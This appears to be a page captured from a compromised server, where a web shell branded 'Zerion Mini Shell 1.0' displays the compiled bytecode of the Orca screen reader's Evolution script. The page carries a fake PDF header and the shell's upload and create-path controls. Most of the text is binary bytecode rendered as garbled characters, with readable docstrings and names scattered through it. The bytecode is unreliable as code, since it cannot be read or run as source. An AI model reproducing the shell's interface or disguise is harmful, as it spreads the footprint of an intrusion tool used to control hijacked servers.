%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/orca/scripts/apps/evolution/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/orca/scripts/apps/evolution/__pycache__/script.cpython-312.pyc

�

g
f�����dZdZdZdZdZdZddlmZddlm	Z	ddl
mcmcm
Z
ddlmcmcmZddlmZddlmZdd	lmZd
dlmZd
dlmZd
d
lmZGd�dej8e
j8�Zy)zCustom script for Evolution.z$Id$z
$Revision$z$Date$zLCopyright (c) 2005-2008 Sun Microsystems Inc.Copyright (c) 2013 Igalia, S.L.�LGPL�N)�AXObject)�AXUtilities���BrailleGenerator��SpeechGenerator��	Utilitiesc�^��eZdZ�fd�Zd�Zd�Zd�Zd�Zd�Z�fd�Z	d�Z
d	�Zd
�Zd�Z
�xZS)�Scriptc���tj�jd��$tj�jdd�t�|�|�d|_y)z�Creates a new script for the given application.

        Arguments:
        - app: the application to create a script for.
        �sayAllOnLoadNF)�settings_manager�
getManager�
getSetting�
setSetting�super�__init__�presentIfInactive)�self�app�	__class__s  ��D/usr/lib/python3/dist-packages/orca/scripts/apps/evolution/script.pyrzScript.__init__4sM����&�&�(�3�3�N�C�K��'�'�)�4�4�^�U�K�
�����!&���c��t|�S�Nr�rs r�getBrailleGeneratorzScript.getBrailleGeneratorAs
����%�%rc��t|�Srr	rs r�getSpeechGeneratorzScript.getSpeechGeneratorDs
���t�$�$rc��t|�Srrrs r�getUtilitieszScript.getUtilitiesGs�����rc���|jjd�r tj|j�ry|j
j
|j�}tj|�syy)a�Returns True if the given event is one that should cause this
        script to become the active script.  This is only a hint to
        the focus tracking manager and it is not guaranteed this
        request will be honored.  Note that by the time the focus
        tracking manager calls this method, it thinks the script
        should become active.  This is an opportunity for the script
        to say it shouldn't.
        zfocus:TF)�type�
startswithr�is_menu�source�	utilities�topLevelObject�	is_active)r�event�windows   r�isActivatableEventzScript.isActivatableEventJsV���:�:� � ��*�{�/B�/B�5�<�<�/P�����.�.�u�|�|�<���$�$�V�,��rc��y)z�Whether or not speech should be stopped prior to setting the
        locusOfFocus in onActiveDescendantChanged.

        Arguments:
        - event: the Event

        Returns True if speech should be stopped; False otherwise.
        F��rr-s  r�#stopSpeechOnActiveDescendantChangedz*Script.stopSpeechOnActiveDescendantChanged]s��rc����|js(d}tjtj|d�y|jj|j�r�tj|j�rVd}tjtj|d�tj�j||j�yd}tjtj|d�tj�j||j�ytj�j�}tj|�r]tj|tj �}|�7||jk7r(d}tjtj|d�ytj"|j|j�}|�]||jk7rNd|g}tj$tj|d�tj�j||�yd}tjtj|d�t&�|�Q|�y)	zCCallback for object:active-descendant-changed accessibility events.z'EVOLUTION: Ignoring event. No any_data.TNz>EVOLUTION: Source is compose autocomplete with selected child.zAEVOLUTION: Source is compose autocomplete without selected child.z8EVOLUTION: Event is from a different tree or tree table.z5EVOLUTION: Bogus any_data suspected. Setting focus toz7EVOLUTION: Passing event to super class for processing.)�any_data�debug�printMessage�
LEVEL_INFOr*�isComposeAutocompleter)r�is_selected�
focus_managerr�set_locus_of_focus�get_locus_of_focus�
is_table_cellr�
find_ancestor�is_tree_or_tree_table�get_active_descendant_checked�printTokensr�onActiveDescendantChanged)rr-�msg�focus�table�child�tokensrs       �rrCz Script.onActiveDescendantChangedos�����~�~�;�C����u�/�/��d�;���>�>�/�/����=��&�&�u�~�~�6�V���"�"�5�#3�#3�S�$�?��(�(�*�=�=�e�U�^�^�T�

�Z���"�"�5�#3�#3�S�$�?��(�(�*�=�=�e�U�\�\�R���(�(�*�=�=�?���$�$�U�+��*�*�5�+�2S�2S�T�E�� �U�e�l�l�%:�P���"�"�5�#3�#3�S�$�?���6�6�u�|�|�U�^�^�T�����%�.�.�!8�M�u�U�F����e�.�.���=��$�$�&�9�9�%��G��G��
���5�+�+�S�$�7�
��)�%�0rc��y)z<Callback for object:state-changed:busy accessibility events.Nr1r2s  r�
onBusyChangedzScript.onBusyChanged�s��rc�b�|jj|j�rytj|j�rJ|jj|j�}t
j�j||�ytjj||�y)z)Callback for focus: accessibility events.N)r*�isWebKitGtkr)r�is_layered_pane�realActiveDescendantr;rr<�gtkr�onFocus)rr-�objs   rrPzScript.onFocus�sy���>�>�%�%�e�l�l�3���&�&�u�|�|�4��.�.�5�5�e�l�l�C�C��$�$�&�9�9�%��E���
�
���4��'rc��|jj|j�rytjj||�y)z;Callback for object:property-change:accessible-name events.N)r*rLr)rOr�
onNameChangedr2s  rrSzScript.onNameChanged�s1���>�>�%�%�e�l�l�3���
�
� � ��u�-rc���tj|j�r tj|j�sytj
j
||�y)z;Callback for object:selection-changed accessibility events.N)r�is_combo_boxr)�
is_focusedrOr�onSelectionChangedr2s  rrWzScript.onSelectionChanged�s?���#�#�E�L�L�1��)�)�%�,�,�7���
�
�%�%�d�E�2r)�__name__�
__module__�__qualname__rr r"r$r/r3rCrJrPrSrW�
__classcell__)rs@rrr2s;���'�&�%���&
�$$1�L
�
(�.�3rr)�__doc__�__id__�__version__�__date__�
__copyright__�__license__�
orca.debugr6�orca.focus_managerr;�orca.scripts.toolkits.gtk�scripts�toolkitsrO�orca.scripts.toolkits.WebKitGtk�	WebKitGtk�orca.settings_managerr�orca.ax_objectr�orca.ax_utilitiesr�braille_generatorr�speech_generatorr
�script_utilitiesrrr1rr�<module>rose��*#�������2�
����*�'�'�3�3�0�#�)�/�-�'�E3�Y�
�
�s�z�z�E3r

Zerion Mini Shell 1.0